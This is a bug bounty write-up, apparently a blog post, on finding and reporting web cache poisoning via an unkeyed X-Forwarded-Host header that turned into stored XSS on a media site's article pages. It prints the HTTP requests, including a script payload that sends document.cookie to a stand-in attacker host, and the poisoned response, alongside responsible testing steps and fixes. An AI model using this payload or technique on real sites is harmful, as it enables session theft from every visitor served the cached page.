September 19, 2026
$7,000 for Poisoning a Cache: Turning One Request Into Stored XSS for Everyone Behind It
Most XSS I find affects exactly one victim per exploit attempt โ you need to get a specific payload in front of a specific person. This bugโฆ

By T4nv1
7 min read
Most XSS I find affects exactly one victim per exploit attempt โ you need to get a specific payload in front of a specific person. This bug was different in a way that made it more interesting and, honestly, more unsettling to think about: send one request, and every visitor to that URL gets served the malicious response, automatically, until the cache entry expires or someone flushes it. No victim interaction needed beyond loading a page they were already going to load.
The target, which I'll call Cindergate here per their program's disclosure terms, is a media publishing platform sitting behind a CDN โ a completely unremarkable piece of modern infrastructure, and exactly the kind of setup that makes this bug class possible in the first place. Caches exist to avoid regenerating the same response for every visitor. That efficiency is the entire attack surface.
What a Cache Actually Trusts
A caching layer's core job is deciding whether an incoming request matches a response it's already stored. It does that by computing a cache key โ usually built from the request path, and a configurable subset of headers and query parameters the operator has decided matter for generating different content. Anything not included in that key is, by definition, invisible to the cache's matching logic, even if the origin server behind it uses that value to generate the response. That mismatch โ origin server behavior depending on a header, cache key ignoring it โ is where cache poisoning lives. If an attacker can influence an unkeyed input in a way that changes the origin's response, and get that poisoned response cached, every subsequent visitor requesting the same cache key gets served the attacker's version instead of the legitimate one, with zero interaction from any of them.
Finding the Unkeyed Input
I went looking for this systematically rather than by luck, using a differential testing approach: add a header, see if the origin's response changes at all in a way that's reflected somewhere in the page, then separately test whether that same header actually affects the cache key or gets ignored by it.
Cindergate's article pages included a canonical link tag in the HTML head, generated dynamically:
<link rel="canonical" href="https://cindergate.com/articles/quarterly-outlook" /><link rel="canonical" href="https://cindergate.com/articles/quarterly-outlook" />I sent a request with an X-Forwarded-Host header set to an arbitrary value:
GET /articles/quarterly-outlook HTTP/1.1
Host: cindergate.com
X-Forwarded-Host: attacker-controlled.comGET /articles/quarterly-outlook HTTP/1.1
Host: cindergate.com
X-Forwarded-Host: attacker-controlled.comThe response came back with the canonical link rewritten:
<link rel="canonical" href="https://attacker-controlled.com/articles/quarterly-outlook" /><link rel="canonical" href="https://attacker-controlled.com/articles/quarterly-outlook" />That confirmed the origin server trusted X-Forwarded-Host โ a header meant to tell a backend what hostname the original client actually requested, useful behind load balancers and proxies, but dangerous the moment it's trusted for anything rendered into a response without validation. The next question was whether the CDN's cache key included that header at all. I sent the poisoned request once, waited a moment, then sent a second, completely clean request with no X-Forwarded-Host header at all, watching for a cache-status response header (X-Cache: HIT versus MISS) to confirm whether the second request was served from cache. It was a hit โ and it still carried my poisoned canonical URL. The cache key was built from the path alone. The header that changed the origin's output wasn't part of what the cache considered when deciding whether a stored response applied.
From a Rewritten Link to Executable JavaScript
A poisoned canonical tag is a real finding on its own โ it's an SEO and content-integrity issue, and worth reporting even in isolation โ but it doesn't come close to critical severity by itself. What made this worth chasing further was noticing the same X-Forwarded-Host value also flowed into an Open Graph meta tag used for social-media link previews, and that tag wasn't being encoded the same way the canonical link was.
GET /articles/quarterly-outlook HTTP/1.1
Host: cindergate.com
X-Forwarded-Host: "><script>fetch('https://attacker-collector.com/c?d='+document.cookie)</script>GET /articles/quarterly-outlook HTTP/1.1
Host: cindergate.com
X-Forwarded-Host: "><script>fetch('https://attacker-collector.com/c?d='+document.cookie)</script>The Open Graph tag came back essentially unescaped:
<meta property="og:url" content="https://"><script>fetch('https://attacker-collector.com/c?d='+document.cookie)</script>/articles/quarterly-outlook" /><meta property="og:url" content="https://"><script>fetch('https://attacker-collector.com/c?d='+document.cookie)</script>/articles/quarterly-outlook" />That's a broken attribute followed by a live, unescaped <script> tag sitting directly in the page's <head>, which any browser parsing this HTML will execute exactly as written. And because the cache key still didn't include X-Forwarded-Host, that response โ script tag and all โ got stored and served to every subsequent visitor of that article URL, completely independent of anything about them individually. No stored payload in a database, no admin approval step to trick, no victim needing to click anything crafted specifically for them. Just being one of the next people to load a popular article page.
Proving Impact Without Poisoning a Real Page for Real Visitors
This is the point where cache poisoning research carries genuine risk if handled carelessly, because a successful poisoning attempt, by definition, affects real users the moment it lands in a shared cache serving live traffic. I built the entire proof of concept around a URL I could reasonably guarantee wasn't receiving organic visitor traffic during my testing window.
Cindergate's platform auto-generated preview URLs for draft content, accessible only via a direct link and not indexed or linked from anywhere public. I created a draft article under my own test account specifically to use as the poisoning target, confirmed the cache-poisoning technique worked against that isolated URL using the payload above, and captured the resulting response headers and rendered page as evidence โ including a screenshot showing the injected script tag actually present in page source served from cache (X-Cache: HIT) on a follow-up request made with no attacker headers at all. I did not attempt this against any live, publicly-trafficked article page, and I flushed my own test cache entry as the very first thing I did after capturing sufficient evidence, specifically to avoid leaving a poisoned response live any longer than necessary even on a URL nobody else was likely to visit.
The Report
Cache poisoning findings need to make the "no victim interaction required" part landed clearly, because that's what separates this from a much lower-severity reflected XSS finding, and it's easy to undersell if the report doesn't spell out the caching mechanics explicitly.
Title: Web cache poisoning via unkeyed X-Forwarded-Host header leads to stored XSS served to all visitors of affected URLs
Root cause: The origin server trusts the X-Forwarded-Host header when generating canonical link and Open Graph meta tags, reflecting its value into the response without sufficient output encoding. The CDN's cache key for these pages is built from the request path alone, excluding this header, so a single poisoned response gets cached and served to all subsequent visitors regardless of the headers in their own requests.
Reproduction: The full differential testing sequence โ confirming the header affects origin output, then separately confirming the cache key ignores it โ followed by the XSS payload and cache-hit confirmation, all demonstrated against an isolated draft-content URL under my own account rather than any live public page.
Impact: Any visitor loading an affected, previously-poisoned URL executes attacker-controlled JavaScript with no interaction beyond normal page navigation, persisting until the cache entry expires or is manually purged; realistic outcomes include session cookie theft, credential phishing overlays, or further payload delivery to a potentially large fraction of the site's organic traffic to that URL.
Fix recommendations:
- Include
X-Forwarded-Host(and any other header the origin uses to generate response content) in the cache key, or, preferably, stop trusting client-supplied host headers for anything rendered into page output at all - Apply proper contextual output encoding to any dynamic value rendered into HTML attributes, regardless of how trusted the source of that value seems, since header values should generally be treated as untrusted input by default
- Add cache-poisoning-specific test cases to the CDN configuration review process โ specifically, differential testing of every header the origin's response is observed to vary on, checked against what the cache layer actually includes in its key
What Happened After
Cindergate's infrastructure and security teams split this one across two groups, appropriately โ the header-trust issue belonged to the application team, the cache-key configuration belonged to whoever owned the CDN setup, and coordinating a fix meant both pieces needed to land close together to avoid a partial fix leaving the other half exploitable. They shipped the output-encoding fix within a week and updated the cache key configuration shortly after, and confirmed in their resolution notes that they'd audited other unkeyed headers the origin was found to trust, catching one additional lower-severity instance in the process. The report closed at $7,000, rated critical, weighted up specifically because of the cache-wide blast radius rather than the XSS mechanism alone, which on a single-victim basis would likely have rated lower.
Why Cache Poisoning Rewards a Different Kind of Testing
This bug class doesn't show up from throwing payloads at input fields, because the vulnerability isn't really in any single field at all โ it's in a mismatch between two systems' definitions of "what makes this request different from that one." A few habits worth carrying into your own testing:
Test systematically for unkeyed inputs, not opportunistically. Send a distinctive header or query parameter, observe if the origin's behavior changes at all, then separately verify whether the cache actually accounts for it โ these are two different questions, and conflating them is the most common way to miss real findings in this category.
X-Forwarded-Host, X-Forwarded-Scheme, and similar proxy-oriented headers are disproportionately fruitful, because they exist specifically to be trusted by an origin server sitting behind other infrastructure, which is exactly the combination that produces this bug.
Always confirm the poisoning actually landed in cache before treating a finding as complete. A header that changes the origin's output but never gets cached is a much lower-severity reflected issue, not cache poisoning โ the X-Cache: HIT confirmation on a follow-up clean request is what proves the difference.
Test against isolated, low-traffic, or self-created content whenever possible, precisely because a successful proof of concept here poisons a real, shared cache entry by design โ there's no version of this test that doesn't risk affecting real visitors if run against live, publicly-trafficked pages.
What made this one stick with me is how ordinary each individual piece looked in isolation. A header trusted for a canonical link. A cache key built from a path. Neither is unusual, and neither is wrong on its own โ plenty of sites do exactly this safely. It was only the specific combination, header trusted by the origin but invisible to the cache, that turned two reasonable decisions into a way to hand a script tag to an entire site's traffic at once.